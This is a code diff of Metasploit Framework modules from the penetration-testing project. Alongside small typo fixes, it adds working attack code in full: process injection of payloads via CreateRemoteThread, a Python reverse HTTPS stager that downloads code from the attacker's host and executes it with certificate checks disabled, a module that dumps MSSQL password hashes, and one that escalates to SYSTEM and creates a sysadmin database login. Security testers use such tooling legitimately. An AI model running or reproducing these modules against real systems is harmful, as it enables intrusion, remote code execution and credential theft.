['Windows 2003 SP1 English', { 'Rets' => [ 1787, 0x77403680 ]}], # jmp esp
['Windows 2003 SP2 English', { 'Rets' => [ 1787, 0x77402680 ]}], # jmp esp
['Windows NT 4.0 SP6', { 'Rets' => [ 1787, 0x77f329f8 ]}], # jmp esp
['Windows XP SP2 German', { 'Rets' => [ 1787, 0x77d5af0a ]}], # jmp esp
['Windows XP SP2 Polish', { 'Rets' => [ 1787, 0x77d4e26e ]}], # jmp esp
['Windows XP SP2 French', { 'Rets' => [ 1787, 0x77d5af0a ]}], # jmp esp
],
'DefaultOptions' =>
{
'WfsDelay' => 30
},
'DisclosureDate' => 'Nov 7 2004'))
end

View File

@ -129,7 +129,7 @@ class Metasploit3 < Msf::Exploit::Remote
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
if command.length > 8000
# Windows 2008 Command Prompt Max Length is 8191
fail_with(Failure::BadConfig, "#{peer} - The selected paylod is too long to execute through powershell in one command")
fail_with(Failure::BadConfig, "#{peer} - The selected payload is too long to execute through powershell in one command")
end
print_status("#{peer} - Exploiting through Powershell...")
execute_command(command)

View File

@ -232,7 +232,7 @@ class Metasploit3 < Msf::Exploit::Local
@addresses = disclose_addresses(my_target)
if @addresses.nil?
session.railgun.kernel32.CloseHandle(handle)
fail_with(Failure::Unknown, "Filed to disclose necessary addresses for exploitation. Aborting.")
fail_with(Failure::Unknown, "Failed to disclose necessary addresses for exploitation. Aborting.")
else
print_good("Addresses successfully disclosed.")
end

View File

@ -15,8 +15,8 @@ class Metasploit3 < Msf::Exploit::Local
super(update_info(info,
'Name' => 'Powershell Remoting Remote Command Execution',
'Description' => %q{
Uses Powershell Remoting (TCP 47001) to inject payloads on target machines.
If RHOSTS are specified it will try to resolve the IPs to hostnames, otherwise
This module uses Powershell Remoting (TCP 47001) to inject payloads on target machines.
If RHOSTS are specified, it will try to resolve the IPs to hostnames, otherwise
use a HOSTFILE to supply a list of known hostnames.
},
'License' => MSF_LICENSE,

View File

@ -0,0 +1,126 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
class Metasploit3 < Msf::Exploit::Local
include Msf::Post::Windows::Runas
include Msf::Post::Windows::Priv
def initialize(info = {})
super(update_info(info,
'Name' => "Windows Run Command As User",
'Description' => %q{
This module will login with the specified username/password and execute the
supplied command as a hidden process. Output is not returned by default.
Unless targetting a local user either set the DOMAIN, or specify a UPN user
format (e.g. user@domain). This uses the CreateProcessWithLogonW WinAPI function.
A custom command line can be sent instead of uploading an executable.
APPLICAITON_NAME and COMMAND_LINE are passed to lpApplicationName and lpCommandLine
respectively. See the MSDN documentation for how these two values interact.
},
'License' => MSF_LICENSE,
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Author' => ['Kx499', 'Ben Campbell'],
'Targets' => [
[ 'Automatic', { 'Arch' => [ ARCH_X86 ] } ]
],
'DefaultTarget' => 0,
'References' =>
[
[ 'URL', 'https://msdn.microsoft.com/en-us/library/windows/desktop/ms682431' ]
],
'DisclosureDate' => 'Jan 01 1999' # Not valid but required by msftidy
))
register_options(
[
OptString.new('DOMAIN', [false, 'Domain to login with' ]),
OptString.new('USER', [true, 'Username to login with' ]),
OptString.new('PASSWORD', [true, 'Password to login with' ]),
OptString.new('APPLICATION_NAME', [false, 'Application to be executed (lpApplicationName)', nil ]),
OptString.new('COMMAND_LINE', [false, 'Command line to execute (lpCommandLine)', nil ]),
OptBool.new('USE_CUSTOM_COMMAND', [true, 'Specify custom APPLICATION_NAME and COMMAND_LINE', false ])
], self.class)
end
def exploit
fail_with(Exploit::Failure::BadConfig, 'Must be a meterpreter session') unless session.type == 'meterpreter'
fail_with(Exploit::Failure::NoAccess, 'Cannot use this technique as SYSTEM') if is_system?
domain = datastore['DOMAIN']
user = datastore['USER']
password = datastore['PASSWORD']
if datastore['USE_CUSTOM_COMMAND']
application_name = datastore['APPLICATION_NAME']
command_line = datastore['COMMAND_LINE']
else
command_line = nil
windir = get_env('windir')
# Select path of executable to run depending the architecture
case sysinfo['Architecture']
when /x86/i
application_name = "#{windir}\\System32\\notepad.exe"
when /x64/i
application_name = "#{windir}\\SysWOW64\\notepad.exe"
end
end
pi = create_process_with_logon(domain,
user,
password,
application_name,
command_line)
return unless pi
begin
return if datastore['USE_CUSTOM_COMMAND']
vprint_status('Injecting payload into target process')
raw = payload.encoded
process_handle = pi[:process_handle]
virtual_alloc = session.railgun.kernel32.VirtualAllocEx(process_handle,
nil,
raw.length,
'MEM_COMMIT|MEM_RESERVE',
'PAGE_EXECUTE_READWRITE')
address = virtual_alloc['return']
fail_with(Exploit::Failure::Unknown, "Unable to allocate memory in target process: #{virtual_alloc['ErrorMessage']}") if address == 0
write_memory = session.railgun.kernel32.WriteProcessMemory(process_handle,
address,
raw,
raw.length,
4)
fail_with(Exploit::Failure::Unknown,
"Unable to write memory in target process @ 0x#{address.to_s(16)}: #{write_memory['ErrorMessage']}") unless write_memory['return']
create_remote_thread = session.railgun.kernel32.CreateRemoteThread(process_handle,
nil,
0,
address,
nil,
0,
4)
if create_remote_thread['return'] == 0
print_error("Unable to create remote thread in target process: #{create_remote_thread['ErrorMessage']}")
else
print_good("Started thread in target process")
end
ensure
session.railgun.kernel32.CloseHandle(pi[:process_handle])
session.railgun.kernel32.CloseHandle(pi[:thread_handle])
end
end
end

View File

@ -98,7 +98,7 @@ class Metasploit3 < Msf::Exploit::Remote
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {:remove_comspec => true, :encode_final_payload => true})
if command.length > 8000
# Windows 2008 Command Prompt Max Length is 8191
fail_with(Failure::BadConfig, "#{peer} - The selected paylod is too long to execute through powershell in one command")
fail_with(Failure::BadConfig, "#{peer} - The selected payload is too long to execute through powershell in one command")
end
print_status("#{peer} - Exploiting through Powershell...")
exec_bar(datastore['CMDPATH'], command, "\x00")

View File

@ -22,7 +22,7 @@ class Metasploit3 < Msf::Exploit::Remote
request to the Office Document Conversions Launcher Service, which results in code
execution under the context of 'SYSTEM'.
The module uses uses the Windows Management Instrumentation service to execute an
The module uses the Windows Management Instrumentation service to execute an
arbitrary payload on vulnerable installations of SharePoint on Windows 2003 Servers.
It has been successfully tested on Office SharePoint Server 2007 SP2 over Windows
2003 SP2.

View File

@ -8,6 +8,7 @@ require 'msf/core/handler/reverse_https'
require 'msf/core/payload/windows/stageless_meterpreter'
require 'msf/base/sessions/meterpreter_x86_win'
require 'msf/base/sessions/meterpreter_options'
require 'rex/parser/x509_certificate'
module Metasploit3
@ -15,6 +16,7 @@ module Metasploit3
include Msf::Payload::Windows::StagelessMeterpreter
include Msf::Sessions::MeterpreterOptions
include Msf::Payload::Windows::VerifySsl
def initialize(info = {})
@ -30,7 +32,7 @@ module Metasploit3
))
register_options([
OptString.new('EXTENSIONS', [false, "Comma-separate list of extensions to load"]),
OptString.new('EXTENSIONS', [false, "Comma-separated list of extensions to load"]),
], self.class)
end
@ -54,9 +56,13 @@ module Metasploit3
# end
#end
Rex::Payloads::Meterpreter::Patch.patch_passive_service! dll,
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
datastore['HandlerSSLCert'])
Rex::Payloads::Meterpreter::Patch.patch_passive_service!(dll,
:url => url,
:ssl => true,
:ssl_cert_hash => verify_cert_hash,
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:ua => datastore['MeterpreterUserAgent'],
@ -64,8 +70,9 @@ module Metasploit3
:proxyport => datastore['PROXYPORT'],
:proxy_type => datastore['PROXY_TYPE'],
:proxy_username => datastore['PROXY_USERNAME'],
:proxy_password => datastore['PROXY_PASSWORD']
:proxy_password => datastore['PROXY_PASSWORD'])
end
end
end

View File

@ -0,0 +1,126 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_https'
module Metasploit3
CachedSize = 742
include Msf::Payload::Stager
def initialize(info = {})
super(merge_info(info,
'Name' => 'Python Reverse HTTPS Stager',
'Description' => 'Tunnel communication over HTTP using SSL',
'Author' => 'Spencer McIntyre',
'License' => MSF_LICENSE,
'Platform' => 'python',
'Arch' => ARCH_PYTHON,
'Handler' => Msf::Handler::ReverseHttps,
'Stager' => {'Payload' => ""}
))
register_options(
[
OptString.new('PayloadProxyHost', [false, "The proxy server's IP address"]),
OptPort.new('PayloadProxyPort', [true, "The proxy port to connect to", 8080 ])
], self.class)
end
#
# Constructs the payload
#
def generate
lhost = datastore['LHOST'] || '127.127.127.127'
var_escape = lambda { |txt|
txt.gsub('\\', '\\'*4).gsub('\'', %q(\\\'))
}
if Rex::Socket.is_ipv6?(lhost)
target_url = "https://[#{lhost}]"
else
target_url = "https://#{lhost}"
end
target_url << ':'
target_url << datastore['LPORT'].to_s
target_url << '/'
target_url << generate_callback_uri
proxy_host = datastore['PayloadProxyHost'].to_s
proxy_port = datastore['PayloadProxyPort'].to_i
if proxy_host == ''
urllib_fromlist = "['HTTPSHandler','build_opener']"
else
urllib_fromlist = "['HTTPSHandler','ProxyHandler','build_opener']"
end
cmd = "import sys\n"
cmd << "vi=sys.version_info\n"
cmd << "ul=__import__({2:'urllib2',3:'urllib.request'}[vi[0]],fromlist=#{urllib_fromlist})\n"
cmd << "hs=[]\n"
# Context added to HTTPSHandler in 2.7.9 and 3.4.3
cmd << "if (vi[0]==2 and vi>=(2,7,9)) or vi>=(3,4,3):\n"
cmd << "\timport ssl\n"
cmd << "\tsc=ssl.SSLContext(ssl.PROTOCOL_SSLv23)\n"
cmd << "\tsc.check_hostname=False\n"
cmd << "\tsc.verify_mode=ssl.CERT_NONE\n"
cmd << "\ths.append(ul.HTTPSHandler(0,sc))\n"
if proxy_host != ''
proxy_url = Rex::Socket.is_ipv6?(proxy_host) ?
"http://[#{proxy_host}]:#{proxy_port}" :
"http://#{proxy_host}:#{proxy_port}"
cmd << "hs.append(ul.ProxyHandler({'https':'#{var_escape.call(proxy_url)}'}))\n"
end
cmd << "o=ul.build_opener(*hs)\n"
cmd << "o.addheaders=[('User-Agent','#{var_escape.call(datastore['MeterpreterUserAgent'])}')]\n"
cmd << "exec(o.open('#{target_url}').read())\n"
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
b64_stub = "import base64,sys;exec(base64.b64decode("
b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('"
b64_stub << Rex::Text.encode_base64(cmd)
b64_stub << "')))"
return b64_stub
end
#
# Determine the maximum amount of space required for the features requested
#
def required_space
# Start with our cached default generated size
space = cached_size
# Add 100 bytes for the encoder to have some room
space += 100
# Make room for the maximum possible URL length
space += 256
# The final estimated size
space
end
#
# Return the longest URL that fits into our available space
#
def generate_callback_uri
uri_req_len = 30 + rand(256-30)
# Generate the short default URL if we don't have enough space
if self.available_space.nil? || required_space > self.available_space
uri_req_len = 5
end
generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITP, uri_req_len)
end
end

View File

@ -0,0 +1,180 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
require 'msf/core/auxiliary/report'
require 'msf/core/post/windows/mssql'
class Metasploit3 < Msf::Post
include Msf::Auxiliary::Report
include Msf::Post::Windows::MSSQL
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Gather Local SQL Server Hash Dump',
'Description' => %q{ This module extracts the usernames and password
hashes from a MSSQL server and stores them in the loot using the
same technique in mssql_local_auth_bypass (Credits: Scott Sutherland)
},
'License' => MSF_LICENSE,
'Author' => [ 'Mike Manzotti <mike.manzotti[at]dionach.com>'],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'References' =>
[
['URL', 'https://www.dionach.com/blog/easily-grabbing-microsoft-sql-server-password-hashes']
]
))
register_options(
[
OptString.new('INSTANCE', [false, 'Name of target SQL Server instance', nil])
], self.class)
end
def run
# Set instance name (if specified)
instance = datastore['INSTANCE'].to_s
# Display target
print_status("Running module against #{sysinfo['Computer']}")
# Identify available native SQL client
get_sql_client
fail_with(Exploit::Failure::Unknown, 'Unable to identify a SQL client') unless @sql_client
# Get LocalSystem privileges
system_status = get_system
fail_with(Exploit::Failure::Unknown, 'Unable to get SYSTEM') unless system_status
begin
service = check_for_sqlserver(instance)
fail_with(Exploit::Failure::Unknown, 'Unable to identify MSSQL Service') unless service
print_status("Identified service '#{service[:display]}', PID: #{service[:pid]}")
instance_name = service[:display].gsub('SQL Server (','').gsub(')','').lstrip.rstrip
begin
get_sql_hash(instance_name)
rescue RuntimeError
# Attempt to impersonate sql server service account (for sql server 2012)
if impersonate_sql_user(service)
get_sql_hash(instance_name)
end
end
ensure
# return to original priv context
session.sys.config.revert_to_self
end
end
def get_sql_version(instance_name)
vprint_status("Attempting to get version...")
query = mssql_sql_info
get_version_result = run_sql(query, instance_name)
# Parse Data
get_version_array = get_version_result.split("\n")
version_year = get_version_array.first.strip.slice(/\d\d\d\d/)
if version_year
vprint_status("MSSQL version found: #{version_year}")
return version_year
else
vprint_error("MSSQL version not found")
end
end
def get_sql_hash(instance_name)
version_year = get_sql_version(instance_name)
case version_year
when "2000"
hash_type = "mssql"
query = mssql_2k_password_hashes
when "2005", "2008"
hash_type = "mssql05"
query = mssql_2k5_password_hashes
when "2012", "2014"
hash_type = "mssql12"
query = mssql_2k5_password_hashes
else
fail_with(Exploit::Failure::Unknown, "Unable to determine MSSQL Version")
end
print_status("Attempting to get password hashes...")
get_hash_result = run_sql(query, instance_name)
if get_hash_result.include?('0x')
# Parse Data
hash_array = get_hash_result.split("\r\n").grep(/0x/)
store_hashes(hash_array, hash_type)
else
fail_with(Exploit::Failure::Unknown, "Unable to retrieve hashes")
end
end
def store_hashes(hash_array, hash_type)
# Save data
loot_hashes = ""
hash_array.each do |row|
user, hash = row.strip.split
service_data = {
address: rhost,
port: rport,
service_name: 'mssql',
protocol: 'tcp',
workspace_id: myworkspace_id
}
# Initialize Metasploit::Credential::Core object
credential_data = {
post_reference_name: refname,
origin_type: :session,
private_type: :nonreplayable_hash,
private_data: hash,
username: user,
session_id: session_db_id,
jtr_format: hash_type,
workspace_id: myworkspace_id
}
credential_data.merge!(service_data)
# Create the Metasploit::Credential::Core object
credential_core = create_credential(credential_data)
# Assemble the options hash for creating the Metasploit::Credential::Login object
login_data = {
core: credential_core,
status: Metasploit::Model::Login::Status::UNTRIED
}
# Merge in the service data and create our Login
login_data.merge!(service_data)
create_credential_login(login_data)
print_line("#{user}:#{hash}")
loot_hashes << "#{user}:#{hash}\n"
end
unless loot_hashes.empty?
# Store MSSQL password hash as loot
loot_path = store_loot('mssql.hash', 'text/plain', session, loot_hashes, 'mssql_hashdump.txt', 'MSSQL Password Hash')
print_good("MSSQL password hash saved in: #{loot_path}")
return true
else
return false
end
end
end

View File

@ -5,10 +5,12 @@
require 'msf/core'
require 'rex'
require 'msf/core/post/windows/mssql'
class Metasploit3 < Msf::Post
include Msf::Post::Windows::MSSQL
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Manage Local Microsoft SQL Server Authorization Bypass',
@ -35,440 +37,114 @@ class Metasploit3 < Msf::Post
[
OptString.new('DB_USERNAME', [true, 'New sysadmin login', '']),
OptString.new('DB_PASSWORD', [true, 'Password for new sysadmin login', '']),
OptString.new('INSTANCE', [false, 'Name of target SQL Server instance', '']),
OptBool.new('REMOVE_LOGIN', [false, 'Remove DB_USERNAME login from database', 'false'])
OptString.new('INSTANCE', [false, 'Name of target SQL Server instance', nil]),
OptBool.new('REMOVE_LOGIN', [true, 'Remove DB_USERNAME login from database', 'false'])
], self.class)
end
def run
# Set verbosity level
verbose = datastore['VERBOSE'].to_s.downcase
# Set instance name (if specified)
instance = datastore['INSTANCE'].to_s.upcase
instance = datastore['INSTANCE'].to_s
# Display target
print_status("Running module against #{sysinfo['Computer']}")
# Identify available native SQL client
get_sql_client
fail_with(Exploit::Failure::Unknown, 'Unable to identify a SQL client') unless @sql_client
# Get LocalSystem privileges
system_status = givemesystem
if system_status[0]
system_status = get_system
fail_with(Exploit::Failure::Unknown, 'Unable to get SYSTEM') unless system_status
begin
service = check_for_sqlserver(instance)
fail_with(Exploit::Failure::Unknown, 'Unable to identify MSSQL Service') unless service
# Check if a SQL Server service is running
service_instance = check_for_sqlserver(instance)
if service_instance != 0
print_status("Identified service '#{service[:display]}', PID: #{service[:pid]}")
instance_name = service[:display].gsub('SQL Server (','').gsub(')','').lstrip.rstrip
# Identify available native SQL client
sql_client = get_sql_client()
if sql_client != 0
# Check if remove_login was selected
if datastore['REMOVE_LOGIN'].to_s.downcase == "false"
# Add new login
add_login_status = add_sql_login(sql_client,datastore['DB_USERNAME'],datastore['DB_PASSWORD'],instance,service_instance,verbose)
if add_login_status == 1
# Add login to sysadmin fixed server role
add_sysadmin(sql_client,datastore['DB_USERNAME'],datastore['DB_PASSWORD'],instance,service_instance,verbose)
else
if add_login_status != "userexists" then
# Attempt to impersonate sql server service account (for sql server 2012)
impersonate_status = impersonate_sql_user(service_instance,verbose)
if impersonate_status == 1
# Add new login
add_login_status = add_sql_login(sql_client,datastore['DB_USERNAME'],datastore['DB_PASSWORD'],instance,service_instance,verbose)
if add_login_status == 1
# Add login to sysadmin fixed server role
add_sysadmin(sql_client,datastore['DB_USERNAME'],datastore['DB_PASSWORD'],instance,service_instance,verbose)
end
end
end
end
else
# Remove login
remove_status = remove_sql_login(sql_client,datastore['DB_USERNAME'],instance,service_instance,verbose)
if remove_status == 0
# Attempt to impersonate sql server service account (for sql server 2012)
impersonate_status = impersonate_sql_user(service_instance,verbose)
if impersonate_status == 1
# Remove login
remove_sql_login(sql_client,datastore['DB_USERNAME'],instance,service_instance,verbose)
end
end
end
end
if datastore['REMOVE_LOGIN']
remove_login(service, instance_name)
else
add_login(service, instance_name)
end
else
print_error("Could not obtain LocalSystem privileges")
ensure
# attempt to return to original priv context
session.sys.config.revert_to_self
end
# return to original priv context
session.sys.config.revert_to_self
end
def add_login(service, instance_name)
begin
add_login_status = add_sql_login(datastore['DB_USERNAME'],
datastore['DB_PASSWORD'],
instance_name)
## ----------------------------------------------
## Method to check if the SQL Server service is running
## ----------------------------------------------
def check_for_sqlserver(instance)
unless add_login_status
raise RuntimeError, "Retry"
end
rescue RuntimeError => e
if e.message == "Retry"
retry if impersonate_sql_user(service)
else
raise $!
end
end
end
print_status("Checking for SQL Server...")
def remove_login(service, instance_name)
begin
remove_status = remove_sql_login(datastore['DB_USERNAME'], instance_name)
unless remove_status
raise RuntimeError, "Retry"
end
rescue RuntimeError => e
if e.message == "Retry"
retry if impersonate_sql_user(service)
else
raise $!
end
end
end
def add_sql_login(dbuser, dbpass, instance)
print_status("Attempting to add new login \"#{dbuser}\"...")
query = mssql_sa_escalation(username: dbuser, password: dbpass)
# Get Data
running_services = run_cmd("net start")
add_login_result = run_sql(query, instance)
# Parse Data
services_array = running_services.split("\n")
# Check for the SQL Server service
services_array.each do |service|
if instance == "" then
# Target default instance
if service =~ /SQL Server \(| MSSQLSERVER/ then
# Display results
service_instance = service.gsub(/SQL Server \(/, "").gsub(/\)/, "").lstrip.rstrip
print_good("SQL Server instance found: #{service_instance}")
return service_instance
end
else
# Target user defined instance
if service =~ /#{instance}/ then
# Display user defined instance
print_good("SQL Server instance found: #{instance}")
return instance
end
end
end
# Fail
if instance == "" then
print_error("SQL Server instance NOT found")
else
print_error("SQL Server instance \"#{instance}\" was NOT found")
end
return 0
end
## ----------------------------------------------
## Method for identifying which SQL client to use
## ----------------------------------------------
def get_sql_client
print_status("Checking for native client...")
# Get Data - osql
running_services1 = run_cmd("osql -?")
# Parse Data - osql
services_array1 = running_services1.split("\n")
# Check for osql
if services_array1.join =~ /(SQL Server Command Line Tool)|(usage: osql)/
print_good("OSQL client was found")
return "osql"
end
# Get Data - sqlcmd
running_services = run_cmd("sqlcmd -?")
# Parse Data - sqlcmd
services_array = running_services.split("\n")
# Check for SQLCMD
services_array.each do |service|
if service =~ /SQL Server Command Line Tool/ then
print_good("SQLCMD client was found")
return "sqlcmd"
end
end
# Fail
print_error("No native SQL client was found")
return 0
end
## ----------------------------------------------
## Method for adding a login
## ----------------------------------------------
def add_sql_login(sqlclient,dbuser,dbpass,instance,service_instance,verbose)
print_status("Attempting to add new login #{dbuser}...")
# Setup command format to accomidate version inconsistencies
if instance == ""
# Check default instance name
if service_instance == "MSSQLSERVER" then
print_status(" o MSSQL Service instance: #{service_instance}") if verbose == "true"
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']} -Q \"sp_addlogin '#{dbuser}','#{dbpass}'\""
else
# User defined instance
print_status(" o OTHER Service instance: #{service_instance}") if verbose == "true"
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{service_instance} -Q \"sp_addlogin '#{dbuser}','#{dbpass}'\""
end
else
# User defined instance
print_status(" o defined instance: #{service_instance}") if verbose == "true"
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{instance} -Q \"sp_addlogin '#{dbuser}','#{dbpass}'\""
end
# Display debugging information
print_status("Running command:") if verbose == "true"
print_status("#{sqlcommand}") if verbose == "true"
# Get Data
add_login_result = run_cmd("#{sqlcommand}")
# Parse Data
add_login_array = add_login_result.split("\n")
# Check if user exists
add_login_array.each do |service|
if service =~ /already exists/ then
print_error("Unable to add login #{dbuser}, user already exists")
return "userexists"
end
end
# check for success/fail
if add_login_result.empty? or add_login_result =~ /New login created./
case add_login_result
when '', /new login created/i
print_good("Successfully added login \"#{dbuser}\" with password \"#{dbpass}\"")
return 1
return true
when /already exists/i
fail_with(Exploit::Failure::BadConfig, "Unable to add login #{dbuser}, user already exists")
when /password validation failed/i
fail_with(Exploit::Failure::BadConfig, "Unable to add login #{dbuser}, password does not meet complexity requirements")
else
print_error("Unable to add login #{dbuser}")
print_error("Database Error:\n #{add_login_result}")
return 0
return false
end
end
## ----------------------------------------------
## Method for adding a login to sysadmin role
## ----------------------------------------------
def add_sysadmin(sqlclient,dbuser,dbpass,instance,service_instance,verbose)
print_status("Attempting to make #{dbuser} login a sysadmin...")
# Setup command format to accomidate command inconsistencies
if instance == ""
# Check default instance name
if service_instance == "MSSQLSERVER" then
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']} -Q \"sp_addsrvrolemember '#{dbuser}','sysadmin';if (select is_srvrolemember('sysadmin'))=1 begin select 'bingo' end \""
else
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{service_instance} -Q \"sp_addsrvrolemember '#{dbuser}','sysadmin';if (select is_srvrolemember('sysadmin'))=1 \
begin select 'bingo' end \""
end
else
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{instance} -Q \"sp_addsrvrolemember '#{dbuser}','sysadmin';if (select is_srvrolemember('sysadmin'))=1 begin select 'bingo' end \""
end
# Display debugging information
print_status("Running command:") if verbose == "true"
print_status("#{sqlcommand}") if verbose == "true"
# Get Data
add_sysadmin_result = run_cmd("#{sqlcommand}")
# Parse Data
add_sysadmin_array = add_sysadmin_result.split("\n")
# Check for success
check = 0
add_sysadmin_array.each do |service|
if service =~ /bingo/ then
check = 1
end
end
# Display results to user
if check == 1
print_good("Successfully added \"#{dbuser}\" to sysadmin role")
return 1
else
# Fail
print_error("Unabled to add #{dbuser} to sysadmin role")
print_error("Database Error:\n\n #{add_sysadmin_result}")
return 0
end
end
## ----------------------------------------------
## Method for removing login
## ----------------------------------------------
def remove_sql_login(sqlclient,dbuser,instance,service_instance,verbose)
def remove_sql_login(dbuser, instance_name)
print_status("Attempting to remove login \"#{dbuser}\"")
query = "sp_droplogin '#{dbuser}'"
# Setup command format to accomidate command inconsistencies
if instance == ""
# Check default instance name
if service_instance == "SQLEXPRESS" then
# Set command here for SQLEXPRESS
sqlcommand = "#{sqlclient} -E -S .\\SQLEXPRESS -Q \"sp_droplogin '#{dbuser}'\""
else
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']} -Q \"sp_droplogin '#{dbuser}'\""
end
else
# Set command here
sqlcommand = "#{sqlclient} -E -S .\\#{instance} -Q \"sp_droplogin '#{dbuser}'\""
end
# Display debugging information
print_status("Settings:") if verbose == "true"
print_status(" o SQL Client: #{sqlclient}") if verbose == "true"
print_status(" o User: #{dbuser}") if verbose == "true"
print_status(" o Service instance: #{service_instance}") if verbose == "true"
print_status(" o User defined instance: #{instance}") if verbose == "true"
print_status("Command:") if verbose == "true"
print_status("#{sqlcommand}") if verbose == "true"
# Get Data
remove_login_result = run_cmd("#{sqlcommand}")
# Parse Data
remove_login_array = remove_login_result.split("\n")
# Check for success
check = 0
remove_login_array.each do |service|
if service =~ // then
check = 1
end
end
remove_login_result = run_sql(query, instance_name)
# Display result
if check == 0
if remove_login_result.empty?
print_good("Successfully removed login \"#{dbuser}\"")
return 1
return true
else
# Fail
print_error("Unabled to remove login #{dbuser}")
print_error("Database Error:\n\n #{remove_login_result}")
return 0
return false
end
end
## ----------------------------------------------
## Method for executing cmd and returning the response
##
## Note: This is from one of Jabra's modules - Thanks man!
## Note: This craps out when escalating from local admin to system
## I assume it has something to do with the token, but don't
## really know.
##----------------------------------------------
def run_cmd(cmd,token=true)
opts = {'Hidden' => true, 'Channelized' => true, 'UseThreadToken' => token}
process = session.sys.process.execute(cmd, nil, opts)
res = ""
while (d = process.channel.read)
break if d == ""
res << d
end
process.channel.close
process.close
return res
end
## ----------------------------------------------
## Method for impersonating sql server instance
## ----------------------------------------------
def impersonate_sql_user(service_instance,verbose)
# Print the current user
blah = session.sys.config.getuid if verbose == "true"
print_status("Current user: #{blah}") if verbose == "true"
# Define target user/pid
targetuser = ""
targetpid = ""
# Identify SQL Server service processes
print_status("Searching for sqlservr.exe processes not running as SYSTEM...")
session.sys.process.get_processes().each do |x|
# Search for all sqlservr.exe processes
if ( x['name'] == "sqlservr.exe" and x['user'] != "NT AUTHORITY\\SYSTEM")
# Found one
print_good("Found \"#{x['user']}\" running sqlservr.exe process #{x['pid']}")
# Define target pid / user
if x['user'] =~ /NT SERVICE/ then
if x['user'] == "NT SERVICE\\MSSQL$#{service_instance}" then
targetuser = "NT SERVICE\\MSSQL$#{service_instance}"
targetpid = x['pid']
end
else
targetuser = x['user']
targetpid = x['pid']
end
end
end
# Attempt to migrate to target sqlservr.exe process
if targetuser == "" then
print_error("Unable to find sqlservr.exe process not running as SYSTEM")
return 0
else
begin
# Migrating works, but I can't rev2self after its complete
print_status("Attempting to migrate to process #{targetpid}...")
session.core.migrate(targetpid.to_i)
# Statusing
blah = session.sys.config.getuid if verbose == "true"
print_status("Current user: #{blah}") if verbose == "true"
print_good("Successfully migrated to sqlservr.exe process #{targetpid}")
return 1
rescue
print_error("Unable to migrate to sqlservr.exe process #{targetpid}")
return 0
end
end
end
## ----------------------------------------------
## Method to become SYSTEM if required
## Note: This is from one of Jabra's modules.
## ----------------------------------------------
def givemesystem
# Statusing
print_status("Checking if user is SYSTEM...")
# Check if user is system
if session.sys.config.getuid == "NT AUTHORITY\\SYSTEM"
print_good("User is SYSTEM")
return 1
else
# Attempt to get LocalSystem privileges
print_error("User is NOT SYSTEM")
print_status("Attempting to get SYSTEM privileges...")
system_status = session.priv.getsystem
if system_status[0]
print_good("Success!, user is now SYSTEM")
return 1
else
print_error("Unable to obtained SYSTEM privileges")
return 0
end
end
end
end

View File

@ -9,17 +9,18 @@ require 'rex'
class Metasploit3 < Msf::Post
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Runas
def initialize(info={})
def initialize(info = {})
super(update_info(info,
'Name' => "Windows Manage Run Command As User",
'Description' => %q{
'Description' => %q(
This module will login with the specified username/password and execute the
supplied command as a hidden process. Output is not returned by default, by setting
CMDOUT to false output will be redirected to a temp file and read back in to
display.By setting advanced option SETPASS to true, it will reset the users
password and then execute the command.
},
),
'License' => MSF_LICENSE,
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
@ -28,15 +29,16 @@ class Metasploit3 < Msf::Post
register_options(
[
OptString.new('USER', [true, 'Username to reset/login with' ]),
OptString.new('PASS', [true, 'Password to use' ]),
OptString.new('DOMAIN', [true, 'Domain to login with' ]),
OptString.new('USER', [true, 'Username to login with' ]),
OptString.new('PASSWORD', [true, 'Password to login with' ]),
OptString.new('CMD', [true, 'Command to execute' ]),
OptBool.new('CMDOUT', [false, 'Retrieve command output', false]),
OptBool.new('CMDOUT', [true, 'Retrieve command output', false])
], self.class)
register_advanced_options(
[
OptBool.new('SETPASS', [false, 'Reset password', false])
OptBool.new('SETPASS', [true, 'Reset password', false])
], self.class)
end
@ -44,130 +46,83 @@ class Metasploit3 < Msf::Post
# If you elevated privs to system,the SeAssignPrimaryTokenPrivilege will not be assigned. You
# need to migrate to a process that is running as
# system. If you don't have privs, this exits script.
def priv_check
if is_system?
privs = session.sys.config.getprivs
if privs.include?("SeAssignPrimaryTokenPrivilege") and privs.include?("SeIncreaseQuotaPrivilege")
@isadmin = false
return true
else
return false
end
elsif is_admin?
@isadmin = true
return true
else
return false
return privs.include?("SeAssignPrimaryTokenPrivilege") && privs.include?("SeIncreaseQuotaPrivilege")
end
false
end
def reset_pass(user,pass)
def reset_pass(user, password)
begin
tmpout = ""
cmd = "cmd.exe /c net user " + user + " " + pass
r = session.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true})
while(d = r.channel.read)
tmpout << d
break if d == ""
end
r.channel.close
return true if tmpout.include?("successfully")
return false
tmpout = cmd_exec("cmd.exe /c net user #{user} #{password}")
return tmpout.include?("successfully")
rescue
return false
end
end
def run
# set some instance vars
@IsAdmin = false
